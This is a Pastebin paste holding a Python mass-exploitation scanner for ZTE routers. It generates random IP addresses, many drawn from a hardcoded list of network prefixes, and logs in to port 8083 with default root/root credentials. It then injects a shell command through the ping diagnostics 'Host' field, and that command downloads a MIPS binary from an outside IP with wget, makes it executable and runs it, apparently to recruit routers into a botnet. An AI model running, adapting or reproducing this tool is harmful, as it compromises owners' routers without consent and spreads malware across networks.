DevilsExpl0its

ZTE Exploit Scanner

Jan 6th, 2020
1,680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.68 KB | None | 0 0
  1. # ZTE Auto Scanner by Misfortune
  2.  
  3. import sys
  4. import time
  5. import random
  6. import socket
  7. import requests
  8. import threading
  9.  
  10. cmd = "cd /tmp;wget http://2.56.8.132/n.mips;chmod 777 n.mips;./n.mips"
  11.  
  12. login_payload = "Frm_Logintoken=4&Username=root&Password=root"
  13.  
  14. command_payload = "&Host=;$({})&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd)
  15.  
  16. choice = sys.argv[1].lower()
  17.  
  18. if choice == "a":
  19.     range1 = sys.argv[2]
  20. elif choice == "b":
  21.     range1, range2 = sys.argv[2].split(".")
  22. elif choice == "c":
  23.     range1, range2, range3 = sys.argv[2].split(".")
  24. elif choice == "butterfly":
  25.     pass
  26. else:
  27.     print("This is not an option.")
  28.     exit()
  29.  
  30. found = []
  31.  
  32. butterfly = [
  33.     "2.84",
  34.     "5.54",
  35.     "5.144.192",
  36.     "5.172.192",
  37.     "5.203",
  38.     "31.14.168",
  39.     "31.14.208",
  40.     "31.14.240",
  41.     "31.22.112",
  42.     "31.152",
  43.     "31.177.56",
  44.     "31.186.104",
  45.     "31.217.160",
  46.     "37.6",
  47.     "37.32.128",
  48.     "37.99.192",
  49.     "37.153.144",
  50.     "37.153.160",
  51.     "46.12",
  52.     "46.103",
  53.     "46.176",
  54.     "46.183.16",
  55.     "46.190",
  56.     "46.198.128",
  57.     "46.226.192",
  58.     "46.227.56",
  59.     "46.245.136",
  60.     "46.246.128",
  61.     "62.1",
  62.     "62.38",
  63.     "62.68.64",
  64.     "62.74",
  65.     "62.75",
  66.     "62.103",
  67.     "62.169.192",
  68.     "62.205.32",
  69.     "62.217.64",
  70.     "62.228",
  71.     "77.49",
  72.     "77.69",
  73.     "78.87",
  74.     "78.108.32",
  75.     "79.103",
  76.     "79.107",
  77.     "79.128",
  78.     "79.166",
  79.     "80.91.208",
  80.     "80.106",
  81.     "80.245.160",
  82.     "81.92.48",
  83.     "83.174.128",
  84.     "83.174.144",
  85.     "83.174.148",
  86.     "83.174.152",
  87.     "83.212",
  88.     "83.235",
  89.     "84.254",
  90.     "85.72",
  91.     "85.204.64",
  92.     "86.104.68",
  93.     "86.104.120",
  94.     "86.105.188",
  95.     "86.105.200",
  96.     "86.105.248",
  97.     "87.202",
  98.     "89.31.176",
  99.     "89.32.208",
  100.     "89.43.56",
  101.     "89.43.184",
  102.     "89.44.72",
  103.     "89.44.92",
  104.     "89.44.96",
  105.     "89.44.156",
  106.     "89.44.216",
  107.     "89.44.220",
  108.     "89.45.120",
  109.     "89.46.252",
  110.     "89.47.44",
  111.     "89.210",
  112.     "91.138.128",
  113.     "91.140",
  114.     "91.193.60",
  115.     "93.113.120",
  116.     "93.113.216",
  117.     "93.114.196",
  118.     "93.174.120",
  119.     "93.190.8",
  120.     "94.64",
  121.     "94.143.176",
  122.     "95.129.40",
  123.     "109.68.144",
  124.     "109.178",
  125.     "109.242",
  126.     "128.140.152",
  127.     "130.43",
  128.     "141.237",
  129.     "141.255",
  130.     "149.210",
  131.     "176.58.128",
  132.     "176.92",
  133.     "176.92.64",
  134.     "178.20.120",
  135.     "178.21.168",
  136.     "178.23.72",
  137.     "178.59",
  138.     "178.146",
  139.     "185.3.220",
  140.     "185.4.88",
  141.     "185.4.132",
  142.     "185.5.76",
  143.     "185.6.76",
  144.     "185.14.200",
  145.     "185.16.164",
  146.     "185.19.44",
  147.     "185.23.88",
  148.     "185.23.168",
  149.     "185.25.20",
  150.     "185.29.24",
  151.     "185.32.228",
  152.     "185.36.232",
  153.     "185.42.208",
  154.     "185.44.144",
  155.     "185.51.132",
  156.     "185.55.28",
  157.     "185.70.76",
  158.     "185.72.148",
  159.     "185.73.40",
  160.     "185.77.36",
  161.     "185.78.220",
  162.     "185.79.188",
  163.     "185.81.196",
  164.     "185.84.124",
  165.     "185.88.20",
  166.     "185.90.44",
  167.     "185.96.32",
  168.     "185.98.132",
  169.     "185.104",
  170.     "185.104.144",
  171.     "185.106.16",
  172.     "185.115.204",
  173.     "185.117.32",
  174.     "185.117.34",
  175.     "185.117.35",
  176.     "185.117.228",
  177.     "185.134.112",
  178.     "185.138.40",
  179.     "185.145.164",
  180.     "185.155.100",
  181.     "185.156.60",
  182.     "185.157.120",
  183.     "185.158.220",
  184.     "185.160.44",
  185.     "185.162.236",
  186.     "185.168.36",
  187.     "185.170.140",
  188.     "185.174.56",
  189.     "185.178.176",
  190.     "185.180.36",
  191.     "185.181.28",
  192.     "185.181.220",
  193.     "185.183.184",
  194.     "185.185.156",
  195.     "185.186.84",
  196.     "185.201.56",
  197.     "185.205.96",
  198.     "185.212.180",
  199.     "185.220.16",
  200.     "185.226.64",
  201.     "185.232.240",
  202.     "185.246.164",
  203.     "185.247.160",
  204.     "188.4",
  205.     "188.73.192",
  206.     "188.164.200",
  207.     "193.5.16",
  208.     "193.92",
  209.     "193.160.140",
  210.     "193.186.200",
  211.     "194.30.192",
  212.     "194.30.224",
  213.     "194.62.224",
  214.     "194.177.192",
  215.     "194.219",
  216.     "195.46",
  217.     "195.74.224",
  218.     "195.97",
  219.     "195.130.64",
  220.     "195.167",
  221.     "195.170",
  222.     "195.190.32",
  223.     "195.251",
  224.     "212.54.192",
  225.     "212.70.192",
  226.     "212.152.64",
  227.     "212.205",
  228.     "212.251",
  229.     "213.16.128",
  230.     "213.140.128",
  231.     "213.249",
  232.     "217.19.64",
  233.     "217.19.80",
  234.     "217.195.128",
  235.     "81.186",
  236.     "81.186.128",
  237.     "81.186.192",
  238.     "84.205.192",
  239.     "84.205.224",
  240.     "87.239.232",
  241.     "88.197",
  242.     "91.195.152",
  243.     "91.198.183",
  244.     "91.199.7",
  245.     "91.199.96",
  246.     "91.200.20",
  247.     "91.206.190",
  248.     "91.207.236",
  249.     "91.208.57",
  250.     "91.209.46",
  251.     "91.209.47",
  252.     "91.209.173",
  253.     "91.213.52",
  254.     "91.213.228",
  255.     "91.216.76",
  256.     "91.216.180",
  257.     "91.216.206",
  258.     "91.217.155",
  259.     "91.217.243",
  260.     "91.220.108",
  261.     "91.220.208",
  262.     "91.220.236",
  263.     "91.223.42",
  264.     "91.223.104",
  265.     "91.223.132",
  266.     "91.227.108",
  267.     "91.241.94",
  268.     "91.245.195",
  269.     "94.232.80",
  270.     "139.91",
  271.     "143.233",
  272.     "144.24",
  273.     "146.124",
  274.     "147.27",
  275.     "147.52",
  276.     "147.95",
  277.     "147.102",
  278.     "150.140",
  279.     "150.140.128",
  280.     "155.207",
  281.     "160.40",
  282.     "176.126.38",
  283.     "192.67.249",
  284.     "192.92.155",
  285.     "192.92.156",
  286.     "192.94.67",
  287.     "192.94.68",
  288.     "192.103.20",
  289.     "192.104.147",
  290.     "192.107.177",
  291.     "192.108.114",
  292.     "192.135.166",
  293.     "193.16.219",
  294.     "193.34.176",
  295.     "193.41.56",
  296.     "193.41.150",
  297.     "193.41.229",
  298.     "193.58.70",
  299.     "193.58.234",
  300.     "193.84.21",
  301.     "193.84.251",
  302.     "193.93.164",
  303.     "193.104.200",
  304.     "193.105.4",
  305.     "193.105.42",
  306.     "193.105.80",
  307.     "193.105.85",
  308.     "193.105.109",
  309.     "193.106.252",
  310.     "193.108.160",
  311.     "193.110.86",
  312.     "193.150.172",
  313.     "193.164.226",
  314.     "193.186.163",
  315.     "193.192.38",
  316.     "193.193.184",
  317.     "193.201.22",
  318.     "193.201.166",
  319.     "193.218.1",
  320.     "193.218.2",
  321.     "193.218.4",
  322.     "193.218.5",
  323.     "193.218.6",
  324.     "193.218.36",
  325.     "193.218.41",
  326.     "193.218.42",
  327.     "193.218.44",
  328.     "193.218.48",
  329.     "193.218.64",
  330.     "193.218.72",
  331.     "193.218.74",
  332.     "193.218.76",
  333.     "193.218.80",
  334.     "193.218.84",
  335.     "193.218.88",
  336.     "193.218.92",
  337.     "193.218.96",
  338.     "193.218.106",
  339.     "193.218.108",
  340.     "193.218.112",
  341.     "193.218.122",
  342.     "193.218.124",
  343.     "193.218.223",
  344.     "193.218.224",
  345.     "193.238.112",
  346.     "193.239.214",
  347.     "193.242.240",
  348.     "193.254.200",
  349.     "193.254.222",
  350.     "194.13.111",
  351.     "194.24.170",
  352.     "194.24.226",
  353.     "194.26.22",
  354.     "194.29.48",
  355.     "194.30.178",
  356.     "194.42.50",
  357.     "194.42.52",
  358.     "194.42.54",
  359.     "194.50.42",
  360.     "194.50.43",
  361.     "194.63.160",
  362.     "194.63.192",
  363.     "194.63.224",
  364.     "194.63.240",
  365.     "194.79.252",
  366.     "194.110.73",
  367.     "194.110.198",
  368.     "194.110.218",
  369.     "194.116.168",
  370.     "194.125.252",
  371.     "194.126.255",
  372.     "194.149.236",
  373.     "194.153.81",
  374.     "194.153.82",
  375.     "194.169.232",
  376.     "194.176.113",
  377.     "195.2.234",
  378.     "195.14.9",
  379.     "195.22.154",
  380.     "195.35.92",
  381.     "195.35.105",
  382.     "195.35.126",
  383.     "195.39.236",
  384.     "195.43.132",
  385.     "195.47.208",
  386.     "195.47.233",
  387.     "195.64.172",
  388.     "195.66.158",
  389.     "195.78.86",
  390.     "195.88.162",
  391.     "195.95.226",
  392.     "195.134.64",
  393.     "195.144.16",
  394.     "195.189.56",
  395.     "195.189.162",
  396.     "195.191.98",
  397.     "195.200.193",
  398.     "195.200.204",
  399.     "195.200.238",
  400.     "195.211.200",
  401.     "195.230.102",
  402.     "195.234.49",
  403. ]
  404.  
  405. def gen():
  406.     return random.randint(0, 255)
  407.  
  408. def butterflies():
  409.     r = random.choice(butterfly).split(".")
  410.     if len(r) == 1:
  411.         return "{}.{}.{}.{}".format(r[0], gen(), gen(), gen())
  412.     if len(r) == 2:
  413.         return "{}.{}.{}.{}".format(r[0], r[1], gen(), gen())
  414.     if len(r) == 3:
  415.         return "{}.{}.{}.{}".format(r[0], r[1], r[2], gen())
  416.  
  417. def ipgen():
  418.     if choice == "a":
  419.         return "{}.{}.{}.{}".format(range1, gen(), gen(), gen())
  420.     if choice == "b":
  421.         return "{}.{}.{}.{}".format(range1, range2, gen(), gen())
  422.     if choice == "c":
  423.         return "{}.{}.{}.{}".format(range1, range2, range3, gen())
  424.     if choice == "butterfly":
  425.         return butterflies()
  426.  
  427. def scan():
  428.     while True:
  429.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  430.         sock.settimeout(2)
  431.         target = ipgen()
  432.         result = sock.connect_ex((target, 8083))
  433.         if result == 0 and found.count(target) < 1:
  434.             try:
  435.                 found.append(target)
  436.                 requests.post("http://" + target + ":8083/login.gch", timeout=3, data=login_payload)
  437.                 r = requests.post("http://" + target + ":8083/manager_dev_ping_t.gch", timeout=2.5, data=command_payload)
  438.                 requests.get("http://" + target + ":8083/getpage.gch?pid=1001&logout=1", timeout=2.5)
  439.                 if cmd in r.content.decode("utf-8"):
  440.                     print("[ZTE] Trying to load - {}".format(target))
  441.             except:
  442.                 pass
  443.         sock.close()
  444.  
  445. for i in range(100):
  446.     threading.Thread(target=scan, daemon=True).start()
  447.  
  448. while True:
  449.     try:
  450.         time.sleep(1)
  451.     except KeyboardInterrupt:
  452.         print("Quitting, bye bye...")
  453.     break
Advertisement
Add Comment
Please, Sign In to add comment